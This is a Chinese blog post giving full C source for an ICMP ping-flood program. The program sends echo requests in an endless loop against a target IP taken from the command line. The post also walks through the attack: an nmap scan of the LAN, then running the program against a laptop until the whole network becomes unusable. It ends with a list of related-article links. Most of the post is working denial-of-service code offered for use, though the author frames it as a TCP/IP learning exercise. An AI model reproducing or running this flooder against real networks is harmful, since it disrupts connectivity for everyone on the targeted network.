ping 攻击 Linux,Linux 环境实现ping攻击
通过不断的ping局域网中的某个主机,可以达到几乎完全占用那个主机网速的效果,但自己的网速也废了,整个局域网的上网基本上也废来。所以这是一种同归于尽的攻击方式,实用性基本上不存在了。之所以做这件事,是因为最近在研读 TCP/IP详解卷一 这本书,所以用代码实现了ping的功能,并且稍加改进成为了ping攻击的代码。
一、开发环境:Red Hat Enterprise Linux 6.0
编译工具:GCC
二、程序流程:
定义相关全局变量(如套接字socket等)-》根据输入参数获取IP地址 -> 不断发ICMP请求回显包
三、程序源码:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PACKET_SIZE 4096//缓冲区大小
struct timeval timeout={5,0};//设置socket超时时间5s
fd_set fds;//文件描述符集合,可以监视该集合的描述符
char sendpacket[PACKET_SIZE];//发送缓冲区
char recvpacket[PACKET_SIZE];//接收缓冲区
int sockfd,datalen=56;//套接字
int nsend = 0,nreceived = 0;//发送和接收计数
struct sockaddr_in dest_addr;//目的IP地址
pid_t pid;//进程ID号
struct sockaddr_in from;//源IP地址
struct timeval tvrecv;//时间结构体
unsigned short cal_chksum(unsigned short* addr,int len);//校验和计算函数
int pack(int pack_no);//打包函数
void send_packet(void);//发送包函数
void tv_sub(struct timeval *out,struct timeval *in);//时间计算函数\
unsigned short cal_chksum(unsigned short* addr,int len)
{
int nleft = len;
int sum = 0;
unsigned short* w = addr;
unsigned short answer = 0;
while(nleft>1)
{
sum += *w++;
nleft -= 2;
}
if(nleft == 1)
{
*(unsigned char*)(&answer) = *(unsigned char*)w;
sum += answer;
}
sum = (sum>>16)+(sum&0xffff);
answer=~sum;
return answer;
}
int pack(int pack_no)
{
int i,packsize;
struct icmp* icmp;
struct timeval* tval;
icmp = (struct icmp*)sendpacket;
icmp->icmp_type = ICMP_ECHO;//请求回显报文
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
icmp->icmp_seq = pack_no;
icmp->icmp_id = pid;
packsize = 8+datalen;
tval = (struct timeval*)icmp->icmp_data;
gettimeofday(tval,NULL);
icmp->icmp_cksum =cal_chksum((unsigned short*)icmp,packsize);
return packsize;
}
void send_packet()
{
int packetsize;
nsend++;
packetsize = pack(nsend);
FD_ZERO(&fds);//清空描述符集fds
FD_SET(sockfd,&fds);//将sockfd加入描述符集
int ret=select(sockfd+1,NULL,&fds,NULL,&timeout);//监控套接字是否可写,若不能写入,则等待timeout时间,超时返回0,可写返回大于0,发生错误返回负值
if(ret<0)
{
perror("Select Error");
}
else if(ret==0)
{
perror("Send Timeout");
}
else
{
if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr))<0)
{
// perror("sendto error");
}
//sleep(1);
if(nsend==0x7fffffff)
nsend=0;
}
}
void tv_sub(struct timeval* out,struct timeval* in)
{
if((out->tv_usec -= in->tv_usec)<0)
{
--out->tv_sec;
out->tv_usec += 1000000;
}
out->tv_sec -= in->tv_sec;
}
int main(int argc,char* argv[])
{
struct hostent *host;
struct protoent* protocol;
unsigned long inaddr = 0l;
int size = 50*1024;
FD_ZERO(&fds);//清空描述符集fds
FD_SET(sockfd,&fds);//将sockfd加入描述符集
if(argc<2)
{
printf("Please input IP address after ./attack\n",argv[0]);
exit(1);
}
if((protocol = getprotobyname("icmp"))==NULL)
{
perror("getprotobyname");
exit(1);
}
if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0)
{
perror("socket error");
exit(1);
}
setuid(getuid());
setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size));//设置接收缓冲区大小
setsockopt(sockfd,SOL_SOCKET,SO_SNDBUF,&size,sizeof(size));//设置发送缓冲区大小
bzero(&dest_addr,sizeof(dest_addr));//初始化填充地址结构体
dest_addr.sin_family = AF_INET;
if(inaddr = inet_addr(argv[1]) == INADDR_NONE)//不能从输入参数1直接获取到IP地址
{
if((host = gethostbyname(argv[1]))==NULL)//从主机名获取IP地址
{
perror("gethostbyname error");
exit(1);
}
memcpy((char*)&dest_addr.sin_addr,host->h_addr,host->h_length);
}
else
dest_addr.sin_addr.s_addr = inet_addr(argv[1]);//直接填充IP地址
while(1)
{
send_packet();
}
return 0;
}
四、攻击过程
第一步:利用nmap工具查看局域网内的活跃IP;
第二步:从第一步可以看出活跃的IP,其中192,168.1.112是我的笔记本,程序运行在台式机上,运行生成的程序myping
第三步:在笔记本上检查效果,发现网页根本打不开,时间长了。操作还有点卡,整个局域网上的机子都是这样,所以说同归于尽嘛!
ping 攻击 Linux,Linux 环境实现ping攻击相关推荐
- Linux 实用指令 -- 网络配置(查看网络IP和网关、 ping 测试主机之间网络连通、Linux网络环境配置(指定固定ip))
文章目录 1. 网络配置 1.1 查看网络IP和网关 1.1.1 查看虚拟网络编辑器 1.1.2 这里可以修改ip地址(修改虚拟网络的ip) 1.1.3 这里可以修改网关(虚拟网络的网关) 1.1.4 ...
- linux 局域网内互ping丢包_ping命令还能这么用?
ping (Packet Internet Groper),因特网包探索器,用于测试网络连接量的程序.Ping发送一个ICMP,回声请求消息给目的地并报告是否收到所希望的ICMP echo (ICMP ...
- linux ddos攻击ip,Linux操作系统中实现DDOS攻击的方法
软件用的是最有名的DDOS,首先说我们用来攻击的客户机和服务器的配置方法,使用当下最有名的REDHATLinux进行测试,本次攻击测试我使用的是FEDORA CORE3. 开始设置服务器: 解压 ta ...
- linux的ping命令含义,Linux ping命令详解
Linux系统的ping命令是常用的网络命令,它通常用来测试与目标主机的连通性 基于IMCP协议 常见命令参数 -q 不显示任何传送封包的信息,只显示最后的结果 -n 只输出数值 -R 记录路由过程 ...
- 使用人性化的Linux防火墙CFW阻止DDOS攻击
CFW (Cyber Firewall) 是一个人性化的 Linux 防火墙.它旨在协助阻止拒绝服务攻击 (DDOS),同时能控制 Linux 系统端口的开关.由于基于 Linux 原生运行,CFW ...
- Linux停止ping包,linux开启、禁止ping包
linux开启ping以及禁止ping Linux默认是允许Ping响应的,系统是否允许Ping由2个因素决定的:A.内核参数,B.防火墙,需要2个因素同时允许才能允许Ping,2个因素有任意一个禁P ...
- linux 服务器 iptables 防止arp病毒,Linux下防御ARP病毒攻击
Linux下防御ARP病毒攻击的类似文章网络上太多了,但效果各有千秋,这里写下我自己的心得. 方法一: 此法比较简单,简言之就是绑定网关的IP和MAC,命令如下: $ sudo arp -s 192. ...
- linux检查网络是否通畅_网络基础Ping命令详解(使用Ping这命令来测试网络连通)...
相关知识点 BIOS 在计算机领域,BIOS是 "Basic Input Output System"的缩略语,译为"基本输入输出系统", 与前者读法相同.计算 ...
- [翻译]现代Linux系统上的栈溢出攻击【转】
转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E ...
- Linux ping命令、Linux kill命令、Linux logname命令、 Linux logout命令
前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家.点击跳转到教程. Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息, ...
最新文章
- 连登GitHub TOP榜,中国开发者在行动!
- iOS 关于第三方键盘
- winserver2008 Oracle 11g 安装
- 图像处理(七)导向滤波磨皮
- 多进程实现生产者消费者
- easyui 如何为标签动态追加属性实现渲染效果
- 为什么在2012/2013年我将在新的Enterprise Java项目中继续使用Spring *和* Java EE
- 南开大学计算机本科论文,南开大学本科毕业论文设计-南开大学教务处主页.DOC...
- java 树同构_有根树的同构 和 无根树的同构
- 【报告分享】2020数据治理年度报告:规则的激荡与新生.pdf(附下载链接)
- 如何用B表的数据,更新A表的值
- 各个版本Word转Pdf时出现有关PDFMaker加载项崩溃或错误的解决方法
- 普林斯顿微积分读本小记(未完待续)
- CAPL-如何调用外部的可执行程序
- 如何将文件PDF格式转换成Word格式
- latex加下划线_给latex文字加下划线和高亮显示
- 如何使用PDF转换器将PDF转换成图片
- meltdown linux检测,Linux操作系统已拥有自动化的Spectre/Meltdown检查器
- js中TSC打印机在IE浏览器使用ActiveX控件实现打印
- Appium统计iOS或者Android应用的性能